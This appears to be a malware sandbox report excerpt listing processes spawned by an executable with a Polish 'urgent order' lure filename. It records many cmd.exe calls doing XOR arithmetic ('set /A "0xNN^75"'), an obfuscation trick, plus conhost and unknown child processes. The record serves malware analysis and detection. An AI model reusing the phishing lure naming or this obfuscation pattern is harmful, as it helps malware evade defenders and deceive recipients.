            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x19^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x05^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x0E^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x07^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x78^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x79^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x71^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x71^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x08^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x39^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x2E^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x2A^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x3F^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x2E^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x0D^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x22^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x27^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x2E^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x0A^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x63^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x26^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x39^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x7F^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x67^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x22^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x7B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x33^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x73^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x7B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x07^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x2E^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x7B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x7B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x7B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x67^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x22^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x7B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x67^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x3B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x7B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x07^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x22^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x3F^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x0D^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x22^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x22^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x7B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x33^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x73^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x7B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x67^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x27^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x7B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x0E^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x05^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x39^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x26^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x67^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
